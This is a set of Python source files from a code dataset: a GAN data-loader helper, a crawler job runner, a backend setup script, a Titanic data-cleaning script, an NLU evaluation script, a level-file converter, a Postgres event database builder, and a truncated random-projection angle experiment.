batch_size=batch_size, shuffle=True)\n\tval_loader = torch.utils.data.DataLoader(\n\t\tval_dataset, batch_size=batch_size, shuffle=False)\n\ttest_loader = torch.utils.data.DataLoader(\n\t\ttest_dataset, batch_size=batch_size, shuffle=False)\n\n\treturn train_loader, val_loader, test_loader", "sub_path": "gan-release/codebase/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 2259, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "matplotlib.use", "line_number": 2, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "shutil.copyfile", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "numpy.random.RandomState", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 49, "usage_type": "attribute"}, {"api_name": "sklearn.datasets.make_moons", "line_number": 52, "usage_type": "call"}, {"api_name": "sklearn.datasets", "line_number": 52, "usage_type": "attribute"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.random.permutation", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 60, "usage_type": "attribute"}, {"api_name": "torch.utils.data.TensorDataset", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 66, "usage_type": "attribute"}, {"api_name": "torch.utils.data.TensorDataset", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 67, "usage_type": "attribute"}, {"api_name": "torch.utils.data.TensorDataset", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 68, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 70, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 72, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 74, "usage_type": "attribute"}]} {"seq_id": "33154498", "text": "import json\n\nimport click\n\nfrom itunes_crawler.app import JobExecutor\nfrom itunes_crawler.models2 import ScheduledJob, Session, ScheduledJobTypes\n\n\n@click.command()\n@click.argument(\"job_type\")\n@click.argument(\"id\")\n@click.argument(\"meta\")\ndef run_job(job_type, id, meta):\n \"\"\" Runs a job with given classname \"\"\"\n\n job_executor = JobExecutor.get()\n\n session = Session()\n job = ScheduledJob(\n type=ScheduledJobTypes[job_type],\n id=id,\n meta=json.loads(meta)\n )\n job_executor.execute(session, job)\n session.commit()\n\n\nif __name__ == '__main__':\n run_job()\n", "sub_path": "crawler/itunes_crawler/commands/run_fake_job.py", "file_name": "run_fake_job.py", "file_ext": "py", "file_size_in_byte": 599, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "itunes_crawler.app.JobExecutor.get", "line_number": 16, "usage_type": "call"}, {"api_name": "itunes_crawler.app.JobExecutor", "line_number": 16, "usage_type": "name"}, {"api_name": "itunes_crawler.models2.Session", "line_number": 18, "usage_type": "call"}, {"api_name": "itunes_crawler.models2.ScheduledJob", "line_number": 19, "usage_type": "call"}, {"api_name": "itunes_crawler.models2.ScheduledJobTypes", "line_number": 20, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 22, "usage_type": "call"}, {"api_name": "click.command", "line_number": 9, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 10, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 11, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 12, "usage_type": "call"}]} {"seq_id": "218678363", "text": "import json\nimport os\nimport socket\nimport pip\nimport argparse\nfrom math import ceil\n\nparser = argparse.ArgumentParser(prog='startbackend.sh')\nparser.add_argument(\"-l\", \"--local\", help=\"Run from localhost\", dest=\"local\",\n\taction=\"store_const\",const=True,default=False)\nparser.add_argument(\"-p\", \"--port\", help=\"Port to host from\", dest=\"port\",\n\tdefault=80, type=int)\nparser.add_argument(\"-n\", \"--regen-host\", help=\"Regenerate host in config\", dest=\"host\",\n\taction=\"store_const\",const=True,default=False)\nparser.add_argument(\"-b\", \"--queue-backup\", help=\"Backup queue and load from backup on start\", dest=\"backup\",\n\taction=\"store_const\",const=True,default=False)\nparser.add_argument(\"-r\", \"--regen-config\", help=\"Regenerate config.json\", dest=\"regen\",\n\taction=\"store_const\",const=True,default=False)\nparser.add_argument(\"-s\", \"--skip-install\", help=\"Skip package installation\", dest=\"skip\",\n\taction=\"store_const\",const=True,default=False)\nparser.add_argument(\"--install-all\", help=\"Don't ask for confirmation on install\", dest=\"all\",\n\taction=\"store_const\",const=True,default=False)\nargs = parser.parse_args()\n\ndef qsort(l):\n\t\tif l == []: \n\t\t\t\treturn []\n\t\telse:\n\t\t\t\tpivot = l[0]\n\t\t\t\tlesser = qsort([x for x in l[1:] if x < pivot])\n\t\t\t\tgreater = qsort([x for x in l[1:] if x >= pivot])\n\t\t\t\treturn lesser + [pivot] + greater\n\ndef copyconf():\n\tdata = json.load(open(os.path.join(\"..\", \"www\", \"defaultconf.json\")))\n\tdata[\"host\"] = getIps()[0]\n\tjson.dump(data, open(os.path.join(\"..\", \"www\", \"config.json\"), \"w\"), indent=2)\n\nPACKAGES_UX = [\n\t\"websockets\",\n\t\"netifaces\"\n]\nPACKAGES_WIN = [\n\t\"websockets\",\n\t\"netifaces\",\n\t\"pyserial\",\n\t\"pyautoit\"\n]\ndef getpacks():\n\tif args.skip: return\n\tpl = [str(i).split(\" \")[0] for i in pip.get_installed_distributions()]\n\tpackages = (PACKAGES_WIN if os.name == \"nt\" else PACKAGES_UX)\n\tinstalled = False\n\tfor pack in packages:\n\t\tif pack in pl:\n\t\t\tcontinue\n\t\tinstalled = True\n\t\tconfirm = (\"y\" if args.all else \"\")\n\t\twhile confirm not in [\"y\", \"n\"]:\n\t\t\tconfirm = input(\"Install dependency \"+pack+\"? (y/n) \").lower().strip().rstrip()\n\t\tif confirm == \"n\": \n\t\t\tprint(\"WARNING: Program may not run without this library.\")\n\t\t\tcontinue\n\t\tif pip.main([\"install\", pack]) and os.name != \"nt\":\n\t\t\tconfirm = (\"y\" if args.all else \"\")\n\t\t\twhile confirm not in [\"y\", \"n\"]:\n\t\t\t\tconfirm = input(\"Install failed, try again with elevated permissions? (y/n) \").lower().strip().rstrip()\n\t\t\tif confirm == \"n\": \n\t\t\t\tprint(\"WARNING: Program may not run without this library.\")\n\t\t\t\tcontinue\n\t\t\tos.system(\"sudo pip3 install \"+pack)\n\tif installed:\n\t\tfor pack in packages:\n\t\t\tif pack not in pl:\n\t\t\t\tprint(\"Failed to install all dependencies.\")\n\tif installed:\n\t\tprint(\"Sucessfully installed all dependencies!\")\n\ndef _comparel(list1, list2):\n\tlist1diff, list2diff = False, False\n\tfor i in list1:\n\t\tif i not in list2:\n\t\t\tlist1diff = True; break\n\tfor i in list2:\n\t\tif i not in list1:\n\t\t\tlist2diff = True; break\n\tif list1diff and list2diff: return \"ne\"\n\telif list1diff: return \"l1\"\n\telif list2diff: return \"l2\"\n\telse: return \"eq\"\n\ndef _prettyl(l, starttext, minlen=0):\n\tfor i in l:\n\t\tif len(i)+1 > minlen:\n\t\t\tminlen = len(i)+1\n\n\tindent = \" \"*(len(starttext)+1)\n\tfor i in range(max(1, int(ceil(len(l)/3.0)))):\n\t\tif i: print(indent, end=\"\")\n\t\telse: print(starttext, end=\" \")\n\t\tif i == int(ceil(len(l)/3.0))-1: \n\t\t\tprintl = [\" \"*(minlen-len(j))+j for j in l[i*3:]]\n\t\t\tprint(\",\".join(printl))\n\t\telse: \n\t\t\tprintl = [\" \"*(minlen-len(j))+j for j in l[i*3:i*3+3]]\n\t\t\tprint(\",\".join(printl), end=\",\\n\")\n\n\ndef _fillblanks(odict, adict):\n\tkeys = list(adict.keys())\n\tfor i in keys:\n\t\tif i not in odict:\n\t\t\todict[i] = adict[i]\n\treturn odict\n\ndef main():\n\tgetpacks()\n\tif args.regen or not os.path.exists(os.path.join(\"..\", \"www\", \"config.json\")):\n\t\tcopyconf()\n\tif args.host:\n\t\tdata = json.load(open(os.path.join(\"..\", \"www\", \"config.json\")))\n\t\tdata[\"host\"] = getIps()[0]\n\t\tjson.dump(data, open(os.path.join(\"..\", \"www\", \"config.json\"), \"w\"), indent=2)\n\tif args.local:\n\t\tdata = json.load(open(os.path.join(\"..\", \"www\", \"config.json\")))\n\t\tdata[\"host\"] = \"localhost\"\n\t\tjson.dump(data, open(os.path.join(\"..\", \"www\", \"config.json\"), \"w\"), indent=2)\n\telse:\n\t\tdata = json.load(open(os.path.join(\"..\", \"www\", \"config.json\")))\n\t\tif \"host\" in data and data[\"host\"] == \"localhost\":\n\t\t\tprint(\"Last time you ran this program, it was in local mode.\")\n\t\t\tconfirm = \"\"\n\t\t\twhile confirm not in [\"y\", \"n\"]:\n\t\t\t\tconfirm = input(\"Do you want to regenerate the host? (y/n) \").lower().strip().rstrip()\n\t\t\tif confirm == \"y\":\n\t\t\t\tdata[\"host\"] = getIps()[0]\n\t\t\tjson.dump(data, open(os.path.join(\"..\", \"www\", \"config.json\"), \"w\"), indent=2)\n\tdata = json.load(open(os.path.join(\"..\", \"www\", \"config.json\")))\n\tdefaultdata = json.load(open(os.path.join(\"..\", \"www\", \"defaultconf.json\")))\n\tif \"host\" not in data:\n\t\tdata[\"host\"] = getIps()[0]\n\tdata = _fillblanks(data, defaultdata)\n\tjson.dump(data, open(os.path.join(\"..\", \"www\", \"config.json\"), \"w\"), indent=2)\n\n\t\t\t\t\n\tprint(\"Initialization complete.\")\n\ndef getIps():\n\tfrom netifaces import interfaces, ifaddresses, AF_INET\n\tips = []\n\tfor ifaceName in interfaces():\n\t\taddresses = [i['addr'] for i in ifaddresses(ifaceName).get(AF_INET, [{\"addr\":\"not found\"}])]\n\t\tif \"not found\" not in addresses and \"127.0.0.1\" not in addresses:\n\t\t\tips += addresses\n\treturn ips\n\nif __name__ == \"__main__\":\n\tmain()", "sub_path": "backend/initialize.py", "file_name": "initialize.py", "file_ext": "py", "file_size_in_byte": 5341, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 8, "usage_type": "call"}, {"api_name": "json.load", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "pip.get_installed_distributions", "line_number": 51, "usage_type": "call"}, {"api_name": "os.name", "line_number": 52, "usage_type": "attribute"}, {"api_name": "pip.main", "line_number": 64, "usage_type": "call"}, {"api_name": "os.name", "line_number": 64, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 71, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 98, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 118, "usage_type": "call"}, {"api_name": "os.path", "line_number": 118, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 118, "usage_type": "call"}, {"api_name": "json.load", "line_number": 121, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 121, "usage_type": "call"}, {"api_name": "os.path", "line_number": 121, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 123, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 123, "usage_type": "call"}, {"api_name": "os.path", "line_number": 123, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 125, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 125, "usage_type": "call"}, {"api_name": "os.path", "line_number": 125, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 127, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 127, "usage_type": "call"}, {"api_name": "os.path", "line_number": 127, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 129, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 129, "usage_type": "call"}, {"api_name": "os.path", "line_number": 129, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 137, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 137, "usage_type": "call"}, {"api_name": "os.path", "line_number": 137, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 138, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 138, "usage_type": "call"}, {"api_name": "os.path", "line_number": 138, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path", "line_number": 139, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 143, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 143, "usage_type": "call"}, {"api_name": "os.path", "line_number": 143, "usage_type": "attribute"}, {"api_name": "netifaces.interfaces", "line_number": 151, "usage_type": "call"}, {"api_name": "netifaces.AF_INET", "line_number": 152, "usage_type": "argument"}, {"api_name": "netifaces.ifaddresses", "line_number": 152, "usage_type": "call"}]} {"seq_id": "194185650", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Apr 22 19:29:23 2018\n\n@author: Administrator\n\"\"\"\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn import preprocessing\nimport pandas as pd\nimport re\n\ndef clean_data(df, drop_passenger_id):\n \n #随机森林算法补充缺失的Age数据\n age_df = df[['Age','Survived','Fare', 'Parch', 'SibSp', 'Pclass']]\n age_df_notnull = age_df[age_df.Age.notnull()]\n age_df_isnull = age_df[age_df.Age.isnull()]\n X = age_df_notnull[:,1:]\n y = age_df_notnull[:,0]\n RFR = RandomForestRegressor(n_estimators=100,n_jobs=-1)\n RFR.fit(X,y)\n Age_pre = RFR.predict(age_df_isnull.values[:,1:])\n df[df.Age.isnull()]['Age'] = Age_pre \n \n #虚拟变量\n df.Embarked[df.Embarked.isnull()] = df.Embarked.dropna().mode().values\n embark_dummies = pd.get_dummies(df['Embarked'])\n df = df.join(embark_dummies)\n df = df.drop(['Embarked'],axis=1,inspace=True)\n embark_dummies = df[['S', 'C', 'Q']]\n \n df['Sex'] = pd.factorize(df['Sex'])[0]\n sex_dummies_df = pd.get_dummies(df['Sex'],prefix=df[['Sex']].columns[0])\n df = pd.concat([df,sex_dummies_df],axis=1)\n\n df.Cabin = df.Cabin.fillna('U0')\n df['Cabin_val'] = df['Cabin'].map(lambda x: re.compile('([a-zA-Z])').search(x).group())\n df['Cabin_val'] = pd.factorize(df['Cabin_val'])[0] #Factorizing\n \n scaler = preprocessing.StandardScaler()\n df['Age_scaled'] = scaler.fit_transform(df['Age'].values.reshape(-1, 1))\n \n df['Title'] = df['Name'].map(lambda x: re.compile(\", (.*?)\\.\").findall(x)[0])\n title_dict={}\n title_dict.update(dict.fromkeys(['Capt', 'Col', 'Major', 'Dr', 'Rev'],'Officer'))\n title_dict.update(dict.fromkeys(['Don', 'Sir', 'the Countess', 'Dona', 'Lady'],'Royalty'))\n title_dict.update(dict.fromkeys(['Mme', 'Ms', 'Mrs'],'Mrs'))\n title_dict.update(dict.fromkeys(['Mlle', 'Miss'],'Miss'))\n title_dict.update(dict.fromkeys(['Master','Jonkheer'],'Master'))\n title_dict.update(dict.fromkeys(['Mr'], 'Mr'))\n df['Title'] = df['Title'].map(title_dict)\n df['Title'] = pd.factorize(df['Title'])[0]\n title_dummies_df = pd.get_dummies(df['Title'])\n df = pd.concat([df,title_dummies_df],axis=1)\n df['Name_length'] = df['Name'].apply(len)\n \n df['Fare'] = df[['Fare']].fillna(df.groupby('Pclass').transform(np.mean))\n \n \n\n\n\n\n\n\n\n\n\n\n\n\n\n ", "sub_path": "DeMo/Titanic/Titanic_DataClean2.py", "file_name": "Titanic_DataClean2.py", "file_ext": "py", "file_size_in_byte": 2355, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 20, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 27, "usage_type": "call"}, {"api_name": "pandas.factorize", "line_number": 32, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 33, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 34, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 37, "usage_type": "call"}, {"api_name": "pandas.factorize", "line_number": 38, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 40, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 40, "usage_type": "name"}, {"api_name": "re.compile", "line_number": 43, "usage_type": "call"}, {"api_name": "pandas.factorize", "line_number": 52, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 53, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 54, "usage_type": "call"}]} {"seq_id": "423618719", "text": "import pandas as pd \nfrom utils import read_corpus_conll, read_fst4conll\nfrom conll import evaluate\n\ntest_path_CONLL = '../../data/NL2SparQL4NLU/NL2SparQL4NLU.test.conll.txt'\n\nrefs = read_corpus_conll(test_path_CONLL)\nhyps = read_fst4conll('w2wt_wt.wt2.out', split=True)\n\nresults = evaluate(refs, hyps)\n\npd_tbl = pd.DataFrame().from_dict(results, orient='index')\npd_tbl.round(decimals=3)\npd_tbl.to_csv(r'./results.csv', sep=',', index=True, header=True)", "sub_path": "src/hmm/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 453, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "utils.read_corpus_conll", "line_number": 7, "usage_type": "call"}, {"api_name": "utils.read_fst4conll", "line_number": 8, "usage_type": "call"}, {"api_name": "conll.evaluate", "line_number": 10, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 12, "usage_type": "call"}]} {"seq_id": "362374638", "text": "#!/usr/bin/env python\r\n# vim: set fileencoding=utf-8:\r\nimport binary\r\nimport optparse\r\nimport os.path\r\nimport excel2003xml\r\n\r\n\r\nALIGNMENT = 4\r\n\r\nLEVEL = 0\r\nGRAVITY = 1\r\nGRAVITY_DENOMINATOR = 2\r\nENTRY_DELAY = 3\r\nLOCK_DELAY = 4\r\nCLEAR_DELAY = 5\r\nTRRR_DELAY = 6\r\n\r\n\r\ndef convert(file_name):\r\n excel = excel2003xml.Workbook(file_name)\r\n header = binary.Binary()\r\n body = binary.Binary()\r\n for sheet in excel.sheets:\r\n for i, row in enumerate(sheet.rows):\r\n if i == 0:\r\n continue\r\n body.append('7i',\r\n int(row[LEVEL]),\r\n int(row[GRAVITY]),\r\n int(row[GRAVITY_DENOMINATOR]),\r\n int(row[ENTRY_DELAY]),\r\n int(row[LOCK_DELAY]),\r\n int(row[CLEAR_DELAY]),\r\n int(row[TRRR_DELAY]))\r\n header.append('i', len(sheet.rows) - 1)\r\n bin = header + body\r\n with open(file_name + '.bin', 'wb') as file:\r\n bin.tofile(file)\r\n\r\n\r\nparser = optparse.OptionParser(usage='%prog file...')\r\n(options, args) = parser.parse_args()\r\nif len(args) < 1:\r\n parser.print_help()\r\nelse:\r\n for file_name in args:\r\n convert(file_name)\r\n", "sub_path": "script/xml2level.py", "file_name": "xml2level.py", "file_ext": "py", "file_size_in_byte": 1271, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "excel2003xml.Workbook", "line_number": 21, "usage_type": "call"}, {"api_name": "binary.Binary", "line_number": 22, "usage_type": "call"}, {"api_name": "binary.Binary", "line_number": 23, "usage_type": "call"}, {"api_name": "optparse.OptionParser", "line_number": 42, "usage_type": "call"}]} {"seq_id": "303978996", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nimport pandas as pd\nimport sqlalchemy\nfrom sqlalchemy import create_engine, MetaData\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import Column, Integer, String, Numeric, Text, Float, ForeignKey\nfrom sqlalchemy.orm import sessionmaker, relationship\nfrom psycopg2 import sql\nfrom sqlalchemy import create_engine\nfrom sqlalchemy_utils import create_database, database_exists, drop_database\n\nPassword = input(\"enter your postgres password \")\n\nengine = create_engine(f'postgresql://postgres:{Password}@localhost:5432/the_show_must_go_on')\nBase = declarative_base()\n\n# If a PostgreSQL database with this name exists\nif database_exists(engine.url):\n # Delete PostgreSQL database \n drop_database(engine.url)\n # Create empty PostgreSQL database\n create_database(engine.url)\n# Otherwise\nelse:\n # Create empty PostgreSQL database\n create_database(engine.url)\n\n\n# In[ ]:\n\n\nclass Events(Base):\n \n __tablename__ = 'events'\n \n event_name = Column(Text)\n event_type = Column(Text)\n event_id = Column(Text, primary_key=True)\n event_date_start_date = Column(Text)\n event_date_status = Column(Text)\n event_seatmap_url = Column(Text)\n event_place_name = Column(Text)\n event_place_id = Column(Text)\n event_place_postalcode = Column(Text)\n event_place_location_lat = Column(Float)\n event_place_location_long = Column(Float)\n event_classification_segment_id = Column(Text)\n event_classification_segment_name = Column(Text)\n event_classification_genre_id = Column(Text)\n event_classification_genre_name = Column(Text)\n event_classification_subgenre_id = Column(Text)\n event_classification_subgenre_name = Column(Text)\n \nclass Venues(Base):\n \n __tablename__ = 'venues'\n\n venue_name = Column(Text)\n venue_type = Column(Text)\n venue_id = Column(Text, primary_key=True)\n venue_postalcode = Column(Text)\n venue_location_long = Column(Text)\n venue_location_lat = Column(Text)\n venue_upcoming_event_total = Column(Text)\n\n\n# In[ ]:\n\n\nBase.metadata.create_all(engine)\nengine.table_names()\n\n\n# In[ ]:\n\n\ndef populate_table(engine, table, csvfile):\n conn = engine.connect()\n \n # Load the CSV file into a pandas dataframe \n data_to_df = pd.read_csv(csvfile)\n data = data_to_df.to_dict(orient='records')\n \n conn.execute(table.delete())\n \n conn.execute(table.insert(), data)\n \n# Call the function to insert the data for each table\npopulate_table(engine, Events.__table__, '../csv/events_data_with_place.csv')\npopulate_table(engine, Venues.__table__, '../csv/venues_data.csv')\n\n\n# In[ ]:\n\n\nengine.execute(\"SELECT * FROM events LIMIT 5\").fetchall()\n\n\n# In[ ]:\n\n\nengine.execute(\"SELECT * FROM venues LIMIT 5\").fetchall()\n\n", "sub_path": "Dashboard HTML/build_show_must_go_on_db.py", "file_name": "build_show_must_go_on_db.py", "file_ext": "py", "file_size_in_byte": 2796, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "sqlalchemy.create_engine", "line_number": 19, "usage_type": "call"}, {"api_name": "sqlalchemy.ext.declarative.declarative_base", "line_number": 20, "usage_type": "call"}, {"api_name": "sqlalchemy_utils.database_exists", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy_utils.drop_database", "line_number": 25, "usage_type": "call"}, {"api_name": "sqlalchemy_utils.create_database", "line_number": 27, "usage_type": "call"}, {"api_name": "sqlalchemy_utils.create_database", "line_number": 31, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 41, "usage_type": "call"}, {"api_name": "sqlalchemy.Text", "line_number": 41, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 42, "usage_type": "call"}, {"api_name": "sqlalchemy.Text", "line_number": 42, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 43, "usage_type": "call"}, {"api_name": "sqlalchemy.Text", "line_number": 43, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 44, "usage_type": "call"}, {"api_name": "sqlalchemy.Text", "line_number": 44, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 45, "usage_type": "call"}, {"api_name": "sqlalchemy.Text", "line_number": 45, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 46, "usage_type": "call"}, {"api_name": "sqlalchemy.Text", "line_number": 46, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 47, "usage_type": "call"}, {"api_name": "sqlalchemy.Text", "line_number": 47, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 48, "usage_type": "call"}, {"api_name": "sqlalchemy.Text", "line_number": 48, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 49, "usage_type": "call"}, {"api_name": "sqlalchemy.Text", "line_number": 49, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 50, "usage_type": "call"}, {"api_name": "sqlalchemy.Float", "line_number": 50, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 51, "usage_type": "call"}, {"api_name": "sqlalchemy.Float", "line_number": 51, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 52, "usage_type": "call"}, {"api_name": "sqlalchemy.Text", "line_number": 52, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 53, "usage_type": "call"}, {"api_name": "sqlalchemy.Text", "line_number": 53, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 54, "usage_type": "call"}, {"api_name": "sqlalchemy.Text", "line_number": 54, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 55, "usage_type": "call"}, {"api_name": "sqlalchemy.Text", "line_number": 55, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 56, "usage_type": "call"}, {"api_name": "sqlalchemy.Text", "line_number": 56, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 57, "usage_type": "call"}, {"api_name": "sqlalchemy.Text", "line_number": 57, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 63, "usage_type": "call"}, {"api_name": "sqlalchemy.Text", "line_number": 63, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 64, "usage_type": "call"}, {"api_name": "sqlalchemy.Text", "line_number": 64, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 65, "usage_type": "call"}, {"api_name": "sqlalchemy.Text", "line_number": 65, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 66, "usage_type": "call"}, {"api_name": "sqlalchemy.Text", "line_number": 66, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 67, "usage_type": "call"}, {"api_name": "sqlalchemy.Text", "line_number": 67, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 68, "usage_type": "call"}, {"api_name": "sqlalchemy.Text", "line_number": 68, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 69, "usage_type": "call"}, {"api_name": "sqlalchemy.Text", "line_number": 69, "usage_type": "argument"}, {"api_name": "pandas.read_csv", "line_number": 86, "usage_type": "call"}]} {"seq_id": "652105761", "text": "from math import log, floor, sqrt\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom fjlt import *\nfrom Trigonomity import *\n\nplt.style.use('ggplot')\n\ndef printKValues(e,n):\n #k1 = 4/((((e**2)/2)-((e**3)/3)))* log(n) # Simple proofOur paper. \n #k2 = 9/((((e**2))-(2*(e**3)/3)))* log(n) #\n k3 = (e**-2)*log(n)\n #k4 = log(n) / (e**2 * log(1 / e))\n return floor(k3) + 1\n\ndef printE(elements,dims,reduceddims, q, e):\n\n beforeAngles = []\n afterAngles = []\n maxAfterAngles = []\n minAfterAngles = []\n\n outlier = np.full((1, dims),5)\n print(outlier.shape)\n randomSphere = np.random.rand(elements,dims)\n print(randomSphere.shape)\n\n a = np.append(outlier, randomSphere,axis=0)\n res = fjlt(a.transpose(),reduceddims, q).transpose()\n for i in range(1, elements -1 ):\n j = i \n k = i + 1\n beforeAngle = getAngle(a[0],a[j],a[k])\n afterAngle = getAngle(res[0],res[j],res[k])\n\n distA = np.linalg.norm(a[j]-a[k])\n distB = np.linalg.norm(a[0]-a[j])\n distC = np.linalg.norm(a[0]-a[k])\n\n distAL = sqrt((distA**2)*(1+e))\n distBL = sqrt((distB**2)*(1+e))\n distCL = sqrt((distC**2)*(1+e))\n\n distAS = sqrt((distA**2)*(1-e))\n distBS = sqrt((distB**2)*(1-e))\n distCS = sqrt((distC**2)*(1-e))\n \n beforeAngles.append(beforeAngle)\n afterAngles.append(afterAngle)\n\n maxAfterAngles.append(getAngle2(distAL,distBS,distCS))\n minAfterAngles.append(getAngle2(distAS,distBL,distCL))\n\n\n afterAngles = [x for _,x in sorted(zip(beforeAngles,afterAngles))]\n maxAfterAngles = [x for _,x in 